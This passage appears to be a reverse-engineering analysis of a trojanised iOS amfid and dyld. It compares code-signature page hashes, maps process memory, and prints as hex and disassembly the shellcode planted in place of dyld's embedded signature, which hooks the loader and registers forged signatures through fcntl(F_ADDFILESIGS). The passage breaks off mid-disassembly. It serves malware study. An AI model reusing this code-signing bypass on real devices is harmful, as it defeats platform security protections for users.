Phontifex:/tmp root# ls -l /tmp/amfid.__TEXT_FAKE -rw-r--r-- 1 root wheel 32768 Jul 23 14:51 /tmp/amfid.__TEXT_FAKE # Extract the first 32k from the real amfid (amfid_0) Phontifex:/tmp root# ls -l /usr/libexec/amfid_0 -rwxr-xr-x 1 root wheel 37488 Jun 25 05:57 /usr/libexec/amfid_0 Phontifex:/tmp root# dd if=/usr/libexec/amfid_0 of=/tmp/amfid_0_32k bs=32768 count=1 1+0 records in 1+0 records out 32768 bytes transferred in 0.000492 secs (66588640 bytes/sec) # Check for differences Phontifex:/tmp root# diff /tmp/amfid_0_32k /tmp/amfid.__TEXT_FAKE Phontifex:/tmp root# echo $? 0 # I seriously couldn't believe it the first time I saw.. so just to double check.. Phontifex:/tmp root# cmp /tmp/amfid_0_32k /tmp/amfid.__TEXT_FAKE Phontifex:/tmp root# echo $?
Inspecting the code signatures
so what about the code signatures? Note that the trojan amfid
nor its nested Mach-O have a code signature. Where is it? In arch 0. Using --sig
, peeking inside the signature. When used with -v
, jtool
displays all page hashes, instead of only complaining about signature mismatches.
Phontifex:/tmp root# jtool -v -l amfid.arch_0
Blob at offset: 37120 (368 bytes) is an embedded signature of 360 bytes, and 3 blobs
Blob 0: Type: 0 @36: Code Directory (304 bytes)
Version: 20100
Flags: adhoc (0x2)
Identifier: com.apple.amfid
CDHash: 81d21cf59ab978ff9c5a0b3065be79430cc9f734
# of Hashes: 10 code + 2 special
Hashes @104 size: 20 Type: SHA-1
Requirements blob: 3a75f6db058529148e14dd7ea1b4729cc09ec973 (OK)
Bound Info.plist: Not Bound
Slot 0 (File page @0x0000): 32cca3efc133b6ca916257e94f75ea16f1647e4b != eba42fd380de0e4049fefdfdd50147e2dec9767b(actual)
Slot 1 (File page @0x1000): NULL PAGE HASH (OK)
Slot 2 (File page @0x2000): 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a != NULL PAGE HASH(actual)
Slot 3 (File page @0x3000): 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce != NULL PAGE HASH(actual)
Slot 4 (File page @0x4000): 2cc5ac94ab92e4cea17ccde26c5b9919f29dc4ad != 1697339a10e89e863500b50fc71ce04d1b619229(actual)
Slot 5 (File page @0x5000): NULL PAGE HASH (OK)
Slot 6 (File page @0x6000): 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d != 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a(actual)
Slot 7 (File page @0x7000): 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d != 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce(actual)
Slot 8 (File page @0x8000): 713e8eb4d1f6aa7df4d28e7ae15f907c325e2240 (OK)
Slot 9 (File page @0x9000): f2195f5d35cb67fec612dbfb3375a59323182eac (OK)
Blob 1: Type: 2 @340: Empty requirement set
Blob 2: Type: 10000 @352: Blob Wrapper (8 bytes) (0x10000 is CMS (RFC3852) signature)
Note that even though the Mach-O only claims a single LC_CODE_SIGNATURE
, there is file content. Comparing this with the original file this purports to be -
Phontifex:/tmp root# jtool --sig -v /usr/libexec/amfid_0
Blob at offset: 37120 (368 bytes) is an embedded signature of 360 bytes, and 3 blobs
Blob 0: Type: 0 @36: Code Directory (304 bytes)
Version: 20100
Flags: adhoc (0x2)
Identifier: com.apple.amfid
CDHash: 81d21cf59ab978ff9c5a0b3065be79430cc9f734
# of Hashes: 10 code + 2 special
Hashes @104 size: 20 Type: SHA-1
Requirements blob: 3a75f6db058529148e14dd7ea1b4729cc09ec973 (OK)
Bound Info.plist: Not Bound
Slot 0 (File page @0x0000): 9848815bd023bc10ddd4929974a819ce5b904cba (OK)
Slot 1 (File page @0x1000): NULL PAGE HASH (OK)
Slot 2 (File page @0x2000): 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a (OK)
Slot 3 (File page @0x3000): 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce (OK)
Slot 4 (File page @0x4000): 2cc5ac94ab92e4cea17ccde26c5b9919f29dc4ad (OK)
Slot 5 (File page @0x5000): NULL PAGE HASH (OK)
Slot 6 (File page @0x6000): NULL PAGE HASH (OK)
Slot 7 (File page @0x7000): NULL PAGE HASH (OK)
Slot 8 (File page @0x8000): 713e8eb4d1f6aa7df4d28e7ae15f907c325e2240 (OK)
Slot 9 (File page @0x9000): f2195f5d35cb67fec612dbfb3375a59323182eac (OK)
Blob 1: Type: 2 @340: Empty requirement set
Blob 2: Type: 10000 @352: Blob Wrapper (8 bytes) (0x10000 is CMS (RFC3852) signature)
In other words, the trojan
If we take up the trojan amfid.arch_26
- which has no code signature, and try to calculate it ourselves, we'd get:
Phontifex:/tmp root# for i in `seq 0 15`; do dd if=/tmp/amfid.arch_26 bs=0x1000 skip=$i count=1 of=/tmp/amfid_fake_page_$i ; done Phontifex:/tmp root# for i in `seq 0 15`; do openssl sha1 ./amfid_fake_page_$i ; done SHA1(./amfid_fake_page_0)= ca5c1c10434fbc0c26bef931e90a1c1b78a64fce # Header (must mismatch) SHA1(./amfid_fake_page_1)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # Page 1 (NULL) SHA1(./amfid_fake_page_2)= 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a # Page 2 SHA1(./amfid_fake_page_3)= 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce # Page 3 SHA1(./amfid_fake_page_4)= 713e8eb4d1f6aa7df4d28e7ae15f907c325e2240 # Page 8 SHA1(./amfid_fake_page_5)= 1cfc6b36b2f2e61a30310982879be3354d96aa14 # Page 5 (NULL) SHA1(./amfid_fake_page_6)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # Page 6 (NULL) SHA1(./amfid_fake_page_7)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # Page 7 (NULL) # These are the original pages of amfid_0 SHA1(./amfid_fake_page_8)= 9848815bd023bc10ddd4929974a819ce5b904cba SHA1(./amfid_fake_page_9)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d SHA1(./amfid_fake_page_10)= 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a SHA1(./amfid_fake_page_11)= 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce SHA1(./amfid_fake_page_12)= 2cc5ac94ab92e4cea17ccde26c5b9919f29dc4ad SHA1(./amfid_fake_page_13)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d SHA1(./amfid_fake_page_14)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d SHA1(./amfid_fake_page_15)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
Looking at the original amfid_0
, we can see the breakdown of pages. You can do this with pagestuff(1)
on OS X, or (for a better output, IMHO, jtool --pages
:
# jtool --pages amfid_0 0x0-0x0 __PAGEZERO 0x0-0x4000 __TEXT 0x2f84-0x3870 __text 0x3870-0x3a5c __stubs 0x3a5c-0x3c60 __stub_helper 0x3c60-0x3d80 __const 0x3d80-0x3fb6 __cstring 0x3fb8-0x4000 __unwind_info 0x4000-0x8000 __DATA Remember 0x4000, 0x6000-0x8000 mismatch from fake code sig 0x4000-0x4088 __got 0x4088-0x41d0 __la_symbol_ptr 0x41d0-0x4240 __const 0x4240-0x4260 __cfstring 0x8000-0x9270 __LINKEDIT 0x8000-0x8010 Rebase Info (opcodes) 0x8000-0x8000 __RESTRICT 0x8000-0x8000 __restrict 0x8010-0x81e8 Binding Info (opcodes) 0x81e8-0x8648 Lazy Bind Info (opcodes) 0x8648-0x8668 Exports 0x8668-0x8678 Function Starts 0x8678-0x86b0 Code Signature DRS 0x8678-0x8678 Data In Code 0x86b0-0x8a70 Symbol Table 0x8a70-0x8bfc Indirect Symbol Table 0x8bfc-0x90f4 String Table 0x9100-0x9270 Code signature
Inspecting the process
At this point, static analysis shows its clear limitations - we can't figure out exactly which #$%$#% code signature or which page goes where. It's time to inspect the code signature of the running amfid. We do this with a simple call to csops(1)
, which can return the code signing blob of any given PID (in this case, amfid - 165) for us:
Phontifex:~ root# cs.arm 165 Embedded code signature (360 bytes) Blob 0 at offset 36: Code Directory (304 bytes) Version: 20100 Flags: adhoc (0x2) Identifier: com.apple.amfid CDHash: 81d21cf59ab978ff9c5a0b3065be79430cc9f734 # of Hashes: 10 code + 2 special Hashes @104 size: 20 Type: SHA-1 Special Slots: Slot -2: 3a75f6db058529148e14dd7ea1b4729cc09ec973 Slot -1: 0000000000000000000000000000000000000000 Slot 0 (File page @0x0000): 9848815bd023bc10ddd4929974a819ce5b904cba Slot 1 (File page @0x1000): 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d Slot 2 (File page @0x2000): 3c0176e7b8ab1ebf56123dc08c88784ab219dd4a Slot 3 (File page @0x3000): 52567ae7fc3ff5c8d84d187ae87fb9085c4947ce Slot 4 (File page @0x4000): 2cc5ac94ab92e4cea17ccde26c5b9919f29dc4ad Slot 5 (File page @0x5000): 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d Slot 6 (File page @0x6000): 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d Slot 7 (File page @0x7000): 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d Slot 8 (File page @0x8000): 713e8eb4d1f6aa7df4d28e7ae15f907c325e2240 Slot 9 (File page @0x9000): f2195f5d35cb67fec612dbfb3375a59323182eac Blob 1 at offset 340: Empty requirement set Blob 2 at offset 352: Blob Wrapper (8 bytes) (0x10000 is CMS (RFC3852) signature)
That '81d...734' is the hash of the code directory which - as far as XNU is concerned - is what gets validated in order to load the process. Any individual access to pages will be through the slots.. But '81d...734' is not the CD Hash we would find in the trojan AppleMobileFileIntegrity.kext
as it resides in its trust cache - and the process is allowed to execute. Note the page (slot hashes) match those of the real /usr/libexec/amfid_0
as well (compare with jtool --sig -v /usr/libexec/amfid_0
), which makes sense, otherwise the CDHash wouldn't have validated in the first place. So all this convolution loaded the original
So what gives? Why go to all this trouble? We have to look deeper. Using procexp regions
(the integrated vmmap
support, we have the process looking like this (ignore the 2DOs - I'm still working on identifying memory tags):
Phontifex:~ root# procexp 165 regions Mach-O 0xea30470d 0000000100054000-0000000100058000 [ 16K]r-x/r-x /usr/libexec/amfid Mach-O 0xea30470d 0000000100058000-000000010005c000 [ 16K]rw-/rw- /usr/libexec/amfid Mach-O 0xea30470d 000000010005c000-0000000100060000 [ 16K]r--/r-- /usr/libexec/amfid Mach-O 0xea30470d 0000000100060000-0000000100064000 [ 16K]r--/r-- /usr/libexec/amfid Mach-O 0xea304805 0000000100064000-000000010006c000 [ 32K]r--/rwx /usr/lib/libmis.dylib Kernel Alloc Once 0xea304235 000000010006c000-0000000100070000 [ 16K]rw-/rwx MALLOC metadata 0xea304615 0000000100070000-0000000100074000 [ 16K]r--/rwx MALLOC metadata 0xea304615 0000000100074000-0000000100078000 [ 16K]rw-/rwx MALLOC guard page 0x00000000 0000000100078000-000000010007c000 [ 16K]---/rwx MALLOC metadata 0xea30413d 000000010007c000-0000000100094000 [ 96K]rw-/rwx MALLOC guard page 0x00000000 0000000100094000-0000000100098000 [ 16K]---/rwx MALLOC guard page 0x00000000 0000000100098000-000000010009c000 [ 16K]---/rwx MALLOC metadata 0xea304045 000000010009c000-00000001000b4000 [ 96K]rw-/rwx MALLOC guard page 0x00000000 00000001000b4000-00000001000b8000 [ 16K]---/rwx MALLOC metadata 0xea2d7695 00000001000b8000-00000001000bc000 [ 16K]r--/rwx MALLOC_LARGE metadata 0xea2d797d 00000001000c0000-00000001000c4000 [ 16K]rw-/rwx (2DO) 0xeab50695 00000001000c4000-00000001000c8000 [ 16K]r--/rw- STACK_GUARD 0x00000000 00000001000c8000-00000001000cc000 [ 16K]---/rwx Stack 0xecca69f5 00000001000cc000-00000001000e0000 [ 80K]rw-/rwx MALLOC_LARGE metadata 0xecca68fd 00000001000e0000-00000001000e4000 [ 16K]rw-/rwx (2DO) 0x00000000 00000001000e4000-00000001000e8000 [ 16K]rw-/rwx MALLOC_LARGE metadata 0xecca670d 00000001000e8000-00000001000ec000 [ 16K]rw-/rwx Dispatch continuations 0xecca6aed 0000000100100000-0000000100300000 [ 2M]rw-/rwx STACK_GUARD 0x00000000 0000000100300000-0000000100304000 [ 16K]---/rwx Stack 0xecca6805 0000000100304000-0000000100388000 [ 528K]rw-/rwx Mach-O 0xea2a4885 000000012008c000-0000000120094000 [ 32K]r-x/r-x /usr/libexec/amfid_d (1) Mach-O 0xea2a4885 0000000120094000-00000001200b4000 [ 128K]r-x/r-x /usr/libexec/amfid_d (2) Mach-O 0xea2a4885 00000001200b4000-00000001200b8000 [ 16K]rw-/rw- /usr/libexec/amfid_d (3) (2DO) 0xeb61b0bd 00000001200b8000-00000001200cc000 [ 80K]rw-/rw- (2DO) 0xeb61b0bd 00000001200cc000-00000001200ec000 [ 128K]rw-/rw- Mach-O 0xea2a4885 00000001200ec000-00000001200fc000 [ 64K]r-x/r-x /usr/libexec/amfid_d (4) Mach-O 0xea2a4885 00000001200fc000-0000000120100000 [ 16K]rw-/rw- /usr/libexec/amfid_d (5) MALLOC_TINY 0xeb53049d 0000000126500000-0000000126600000 [1024K]rw-/rwx MALLOC_TINY 0xecca749d 0000000126600000-0000000126700000 [1024K]rw-/rwx MALLOC_SMALL 0xeb5f5425 0000000126800000-0000000127000000 [ 8M]rw-/rwx MALLOC_SMALL 0xecbba59d 0000000127000000-0000000127800000 [ 8M]rw-/rwx STACK_GUARD 0x00000000 000000016fcac000-000000016fcb0000 [ 16K]---/rwx Stack 0xea2d8cdd 000000016fcb0000-000000016fda8000 [ 992K]rw-/rwx Stack 0xea2d8cdd 000000016fda8000-000000016fdac000 [ 16K]rw-/rwx Shared PMAP 0x00000000 0000000180000000-0000000190000000 [ 256M]r--/rwx Shared PMAP 0x00000000 0000000190000000-0000000198c00000 [ 140M]r--/rwx Unshared PMAP 0xea02797d 0000000198c00000-0000000198e00000 [ 2M]rw-/rwx /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 Shared PMAP 0x00000000 0000000198e00000-000000019c600000 [ 56M]r--/rwx Unshared PMAP 0xea02797d 000000019c600000-000000019c800000 [ 2M]rw-/rwx /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 Unshared PMAP 0xea02797d 000000019c800000-000000019c920000 [ 1M]rw-/rwx /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 Unshared PMAP 0x00000000 000000019c920000-000000019ca00000 [ 896K]r--/rwx Shared PMAP 0x00000000 000000019ca00000-00000001a0000000 [ 54M]r--/rwx
So, where we'd expect to normally see jtool -l
listing. But that's still a partial picture: We don't know what's in the code of these Mach-O objects that were loaded
Going deeper still
To really understand what goes where, we need to inspect the trojan
Phontifex:/tmp root# for i in `seq 0 67`; do dd if=/usr/libexec/amfid_d of=/tmp/amfid_d_page_$i bs=0x1000 skip=$i ; done
Phontifex:/tmp root# for i in `seq 0 67`; do openssl sha1 amfid_d_page_$i ; done
SHA1(amfid_d_page_0)= 286c5e21453c459a92c60317c7eeeb2e40548190 # Header (must mismatch)
SHA1(amfid_d_page_1)= 1a8eacb12a9b56d2b0c05958d8abd19c498716d2 # 1
SHA1(amfid_d_page_2)= 7b5bf09e7553eae0237c5ed0563ab69a72067f7e # 2
SHA1(amfid_d_page_3)= 1dc9ac89bc6272dd43fe2dfdf5fe1fd47d208262 # 3__________________
# This gets mapped to #2 (32 pages)
SHA1(amfid_d_page_4)= 0d243b173ef69306d9105287b55ec0c0fef390df # 0x8000
SHA1(amfid_d_page_5)= 6b7ff1f565707edb7bf4f05b467bb8251c9aa69f # 9
SHA1(amfid_d_page_6)= 967fa242b3b7c8651bfcdac0c2c50dab4136f36c # 10
SHA1(amfid_d_page_7)= 6583d72fe1325fccce7921a6a294ab1f587df140 # 11
SHA1(amfid_d_page_8)= 2450ac26e63fbbd80247ef0cdd17b07137fa4e10 # 12
SHA1(amfid_d_page_9)= ceafb7083b2cab134b250020055e0a0840cc30ed # 13..
SHA1(amfid_d_page_10)= 9284772700daff309dee309641fe29714f261ec3 # 14..
SHA1(amfid_d_page_11)= 8d49e3b320db84f7aa5af9f24e12f9ded7e39353 # 15
SHA1(amfid_d_page_12)= 0862343a5176f990b03fd3f454dc622ee9a64930 # 16 (0x10000...)
SHA1(amfid_d_page_13)= 0b8f0415b37212c95c028e0e87859d8f1c8e208f
SHA1(amfid_d_page_14)= b073d43e8bc673158031c66a59ba640aca216abd
SHA1(amfid_d_page_15)= 4c68b6745b965f4e1783ac948820bb1bd541cf9b
SHA1(amfid_d_page_16)= a6c18f5c7a4a1a16d277ec610f17704fd801bd2f # 20 (0x14000..)
SHA1(amfid_d_page_17)= f1ddca45fc2705e9a1dd4d1307e805d6a74c479a
SHA1(amfid_d_page_18)= 827dac91b7df430865a591dc7f9d87d237176aad
SHA1(amfid_d_page_19)= 41266ce6eaac21dacf4ba8ffcc996a3ea8eadf2d
SHA1(amfid_d_page_20)= 2bc8f025ba0dea19748dcc8e1d91fc8b248d9f1f
SHA1(amfid_d_page_21)= eda040c6e1c167c4c755ee31db4a9735e6bc61b9 # 25 (0x19000..)
SHA1(amfid_d_page_22)= 48ebf70ce9639a2d9c8999022250b66a35873a1f
SHA1(amfid_d_page_23)= 1cb2f1c0ae57e2d18afe56578ac808dc4c543e74
SHA1(amfid_d_page_24)= 289d54f7a0e60a5f00a345d98dc2bfe5a62d3c6d
SHA1(amfid_d_page_25)= 5d30f2743544fda6743f5b2d983f966748852061
SHA1(amfid_d_page_26)= aadbc9369e5f54b87516480490c1aed9d83a3102 # 30 (0x1e000..)
SHA1(amfid_d_page_27)= b87fe8be110bea3b6dfd0186e5676a3aba415dbd
SHA1(amfid_d_page_28)= e69436d8f3d577b7c3b2c4921c0e344806779f2f
SHA1(amfid_d_page_29)= b0a5658f12ff823a64ba628a76cd153c36f83ef5
SHA1(amfid_d_page_30)= acd18c588149be54772e39f63672160ce512b05e
SHA1(amfid_d_page_31)= 88efed0304dd53f82186aeb3bb5548356919f6f6 # 35 (0x23000..)
SHA1(amfid_d_page_32)= 3531b31e192d617edd4ff0d0e23008b5d62ee3bf
SHA1(amfid_d_page_33)= 43b9ec26efd815762fc30ab45ae8354be762dfe3
SHA1(amfid_d_page_34)= a5e111f2edd03d2d550c8e4442fe16f4ddf07b5c
SHA1(amfid_d_page_35)= 2a9bfcb1745876921c741c8fc79b091f4d2e50d2
# this gets mapped to #3 (4 pages)
SHA1(amfid_d_page_36)= 001e670a4d09c21e683e72c93f4f2e26cbcab36c # 40 ... (0x28000 = original dyld __DATA)
SHA1(amfid_d_page_37)= fab7bc825b8455ad85b1c7985e53efcff8f558bb
SHA1(amfid_d_page_38)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
SHA1(amfid_d_page_39)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d
# this gets mapped to #4 (16 pages)
SHA1(amfid_d_page_40)= 59ffe3c889b020575ee249311d1efbad433ec0e6
SHA1(amfid_d_page_41)= b790aab4bdd16075ea58eda0dbda9d5d4542b5c4
SHA1(amfid_d_page_42)= f8c57fe78ccc75aaee1c59ef4380d93c0bb6b060
SHA1(amfid_d_page_43)= e4d7e1f2715fa4d7934202afda39de0691de65af
SHA1(amfid_d_page_44)= dd3c3bb6b243ccdcd2b311abcf3711cb66d4db84
SHA1(amfid_d_page_45)= 897efc470ba1be7b005cf7ce0039270316739045
SHA1(amfid_d_page_46)= f9e3c55db127f473dac20362a403cfb4191650af # 50 ... (0x32000....)
SHA1(amfid_d_page_47)= c8383542da21beb44d59bcdc0cb981ae5ba8abf0
SHA1(amfid_d_page_48)= b0128d228a58d9e6ea618825557650be4f37b5c6
SHA1(amfid_d_page_49)= 5ab4e112ba6cf414a30e10bbee783dcdc7a1bc78
SHA1(amfid_d_page_50)= 3102e2411bdfca9c8fec0e1ce82f081a2b10a0e8
SHA1(amfid_d_page_51)= 3d28777ddacfa1281dfe8601512b9afebe6e7676
SHA1(amfid_d_page_52)= 9984d4c726cafe0d141858fb4ff5120fd53c8f5f # 56 .. (0x38000)
SHA1(amfid_d_page_53)= b49d40d43845906cdad9481288e0c84224e9da00 # xxxx (also in slot 57 of fake sig)
SHA1(amfid_d_page_54)= fcfe803331d5dd4dd9b966bd52aeeae9356bf57e # xxxx (0x36)
SHA1(amfid_d_page_55)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # NULL
# This gets mapped to #5 (4 pages)
SHA1(amfid_d_page_56)= 489d86b8874964f514f8baf1a8c8921ac1667d97 # xxxx - __FAKEDATA
SHA1(amfid_d_page_57)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # NULL |
SHA1(amfid_d_page_58)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # NULL |
SHA1(amfid_d_page_59)= 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d # NULL |
# This gets mapped to #1 (8 pages) |
SHA1(amfid_d_page_60)= 7ae56fd3f6660b17eef1e321afc29e5dd76e08f3 # 0 (orig header) - __FAKETEXT
SHA1(amfid_d_page_61)= 1a8eacb12a9b56d2b0c05958d8abd19c498716d2 # 1 |
SHA1(amfid_d_page_62)= 7b5bf09e7553eae0237c5ed0563ab69a72067f7e # 2 |
SHA1(amfid_d_page_63)= 1dc9ac89bc6272dd43fe2dfdf5fe1fd47d208262 # 3 |
SHA1(amfid_d_page_64)= ef50d217eedfaf38c13c1fbbefda0661f809e295 # 4 |
SHA1(amfid_d_page_65)= 8bf6273d59b1afc57ade6df9a1f22eb46dd489f3 # 5 |
SHA1(amfid_d_page_66)= 6be06cf36cef8d8e54b91cc4404dd58738df14c7 # 6 |
SHA1(amfid_d_page_67)= 6bcfc3a16fe15c90da9b454ade7c3ba8db6e377c # 7 -----------------------
The two binaries, then - trojan dyld and dyld - are exactly the same with respect to code, though the former is crazy mapped ("folded", if you will). They're also almost the same data wise, with a major divergence happening in dyld
's 57th page, which should have been the same as the amfid_d
's 53. What's so special there? Look at jtool --pages
(on either binary):
0x0-0x28000 __TEXT
0x1000-0x2236c __text
0x2236c-0x25c83 __cstring
0x25c84-0x26bac __gcc_except_tab__TEXT
0x26bb0-0x26e70 __const
0x26e70-0x2757c __unwind_info
0x26e70-0x26e70 __eh_frame
0x28000-0x2c000 __DATA
0x28000-0x28010 __got
0x28010-0x290f0 __const
0x290f0-0x29a4c __data
0x29a50-0x29b80 __all_image_info__DATA
0x2c000-0x3a180 __LINKEDIT
0x2d128-0x2d428 Segment Split
0x2d428-0x2d830 Function Starts
0x2d830-0x313a0 Symbol Table
0x2d830-0x2d830 Data In Code
0x313a0-0x313a8 Indirect Symbol Table
0x313a8-0x39c48 String Table # 57 = 0x39 => roads diverge here.
0x39c50-0x3a180 Code signature
That page 57 is right at the end of the string table (0x39 * 0x1000 = 0x39000
). Along with the code signature, which follows, the last two pages of the file are deliberately malformed. How?
Phontifex:/tmp/final root# dd if=/usr/libexec/amfid_d.arch_1 bs=0x1000 skip=53 count=1 of=foo Phontifex:/tmp/final root# dd if=/usr/lib/dyld bs=0x1000 count=1 skip=57 of=bar Phontifex:/tmp/final root# openssl sha1 foo SHA1(foo)= b49d40d43845906cdad9481288e0c84224e9da00 Phontifex:/tmp/final root# openssl sha1 bar SHA1(bar)= aa87ebe727caac17882f1379549e0daf348ede55 # Just show where diffs start Phontifex:/tmp/final root# bindiff foo bar | grep -v '<' | grep -v '>' 3152,3328 - 3152,3271 ---------- 3348,4096 - 3291,4096 ---------- Phontifex:/tmp/final root# printf "%x\n" 3152 c50
So, 0x39000 + c50 = 0x39c50
= exactly where the code signature would be. To make this clearer, do the bindiff
and actually examine the output:
3152,3328 - 3152,3271 # The Trojan amfid_d < 00000c50 e8 fd ff 90 08 e5 08 91 1f 01 00 b9 6a 8b fe 17 "............j..." < 00000c60 fc 03 00 91 9f ef 7c 92 ff 83 00 d1 13 00 00 f0 "......|........." < 00000c70 73 02 00 91 e0 03 13 aa 01 00 80 52 02 00 80 52 "s..........R...R" < 00000c80 6c ce fe 97 a1 07 80 52 68 02 04 91 e8 03 00 f9 "l......Rh......." < 00000c90 03 ce fe 97 60 02 08 91 01 00 80 52 02 00 80 52 "....`......R...R" < 00000ca0 64 ce fe 97 a1 07 80 52 68 02 0c 91 e8 03 00 f9 "d......Rh......." < 00000cb0 fb cd fe 97 20 00 c0 d2 c0 00 a4 f2 00 8a 9b f2 ".... ..........." < 00000cc0 c1 fd ff f0 21 20 14 91 20 00 00 f9 c1 fd ff f0 "....! .. ......." < 00000cd0 21 a0 20 91 20 00 00 f9 9f 03 00 91 80 03 40 f9 "!. . .........@." < 00000ce0 61 02 42 f9 00 00 01 cb 80 03 00 f9 01 fe ff 90 "a.B............." < 00000cf0 21 d4 07 91 20 00 80 52 20 00 00 39 c1 4c fe 17 "!... ..R ..9.L.." ---------- # The real dyld > 00000c50 fa de 0c c0 00 00 05 27 00 00 00 03 00 00 00 00 ".......'........" > 00000c60 00 00 00 24 00 00 00 02 00 00 05 13 00 01 00 00 "...$............" > 00000c70 00 00 05 1f fa de 0c 02 00 00 04 ef 00 02 01 00 "................" > 00000c80 00 00 00 02 00 00 00 67 00 00 00 30 00 00 00 02 ".......g...0...." > 00000c90 00 00 00 3a 00 03 9c 50 14 01 00 0c 00 00 00 00 "...:...P........" > 00000ca0 00 00 00 00 63 6f 6d 2e 61 70 70 6c 65 2e 64 79 "....com.apple.dy" > 00000cb0 6c 64 00 3a 75 f6 db 05 85 29 14 8e 14 dd 7e a1 "ld.:u....)....~." > 00000cc0 b4 72 9c c0 9e c9 73 ".r....s "
And indeed, 0xfade0cc0
is the CSMAGIC_EMBEDDED_SIGNATURE
. But what is it being replaced with?!
III. Shellcode!
Random looking junk distributed too uniformly could imply shellcode. so it would be great to try and disassemble..
- Problem - I don't have arbitrary disassembly in
jtool
yet (it needs to operate on a Mach-O..). - Solution - copy the mystery code into a random binary , and disassemble!
We do need to fix the addresses first -- the mystery code is loaded into __LINKEDIT
, at offset 0x39c50. __LINKEDIT
starts at offset 0x2c000.. So we are therefore 0xdc50 bytes into the segment. This would therefore translate to the (nonslid) address of 0x12006dc50. 944 bytes are up to 236 instructions (thankfully, ARM64 has fixed 4-byte), so a simple empty binary (full of "MOV X0,X0" or some other garbage) would work well here. I have a sample program (already patched, with the companion file for it), Right here.
# Patch code over whatever's in the file...
Phontifex:/tmp/final root# dd if=mystery of=hello bs=1 seek=0x76b0 conv=notrunc
# Patch segment start
Phontifex:/tmp/final root# printf "\x00\xd0\x06\x20" >> patch2
Phontifex:/tmp/final root# dd if=patch2 of=hello bs=1 seek=0x80 count=4 conv=notrunc
# Patch section start
Phontifex:/tmp/final root# printf "\x50\xdc\x06\x20" > patch
Phontifex:/tmp/final root# dd if=patch of=hello bs=1 seek=0xd0 count=4 conv=notrunc
# Make sure it looks ok
Phontifex:/tmp/final root# jtool -l hello
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x100000000 File: Not Mapped ---/--- __PAGEZERO
LC 01: LC_SEGMENT_64 Mem: 0x12006d000-0x120075000 File: 0x0-0x8000 r-x/r-x __TEXT
Mem: 0x12006dc50-0x12006e558 File: 0x000076b0-0x00007fb8 __TEXT.__text (Normal)
Mem: 0x100007fb8-0x100008000 File: 0x00007fb8-0x00008000 __TEXT.__unwind_info
LC 02: LC_SEGMENT_64 Mem: 0x100008000-0x10000c000 File: 0x8000-0x80c0 r--/r-- __LINKEDIT
...
# In practice, most of the mystery bytes are NULL so 50 lines of assembly are enough
Phontifex:/tmp/final root# jtool --html -d __TEXT.__text out.html | head -50 > out.html
And the code - right from the HTML - is included here. The comments were also generated with the help of a companion file ,which is kind of like jtool's skimmed version of DWARF (-:
Disassembling from file offset 0xc50, Address 0x12006dc50 ; This will hook __ZNK16ImageLoaderMachO6getEndEv (ImageLoaderMachO::getEnd() const), ; patch a global to 0 first, and call it (notice the "B" to it, so it will return to the caller) ; (q.v. dyld 353 sources, ImageLoaderMachO.cpp) 12006dc50 ADRP x8, 2097084; ; ->R8 = 0x120029000 12006dc54 ADD X8, X8, #569; ; ..R8 = R8 (0x120029000) + 0x239 = 0x120029239 12006dc58 STR W31, [X8, #0]; ; *((0x120029239) + 0x0) *0x120029239 = X31 0x0 12006dc5c B 0x120010a04 0x120010a04; __ZNK16ImageLoaderMachO6getEndEv ; ; ----- This is our entry point (q.v. comex clarification, below) ; Start here 12006dc60 ADD X28, X31, #0; ; ..R28 = R31 (0x0) + 0x0 = 0x0 12006dcd4 AND SP, X28, #0xfffffffffffffff0 12006dc68 SUB X31, X31, #32 ; int fd = open ("/usr/libexec/amfid_d"); 12006dc6c ADRP x19, 3; ; ->R19 = 0x120070000 12006dc70 ADD X19, X19, #0; ; ..R19 = R19 (0x120070000) + 0x0 = 0x120070000 12006dc74 MOV X0, X19 12006dc78 MOVZ W1, #0; ; ->R1 = 0x0 12006dc7c MOVZ W2, #0; ; ->R2 = 0x0 12006dc80 BL _open 0x120021630 ; fcntl (fd, F_ADDFILESIGS) ; 12006dc84 MOVZ W1, #61; ; ->R1 = 0x3d 12006dc88 ADD X8, X19, #256; ; ..R8 = R19 (0x120070000) + 0x100 = 0x120070100 12006dc8c STR X8, [X31, #0]; ; *((0x0) + 0x0) *0x0 = X8 0x120070100 - in page 56 12006dc90 BL _fcntl 0x12002149c ; int fd1 = open ("/usr/libexec/amfid"); 12006dc94 ADD X0, X19, #512; ; ..R0 = R19 (0x120070000) + 0x200 = 0x120070200 12006dc98 MOVZ W1, #0; ; ->R1 = 0x0 12006dc9c MOVZ W2, #0; ; ->R2 = 0x0 12006dca0 BL _open 0x120021630 ; fcntl (fd1, F_ADDFILESIGS) ; 12006dca4 MOVZ W1, #61; ; ->R1 = 0x3d 12006dca8 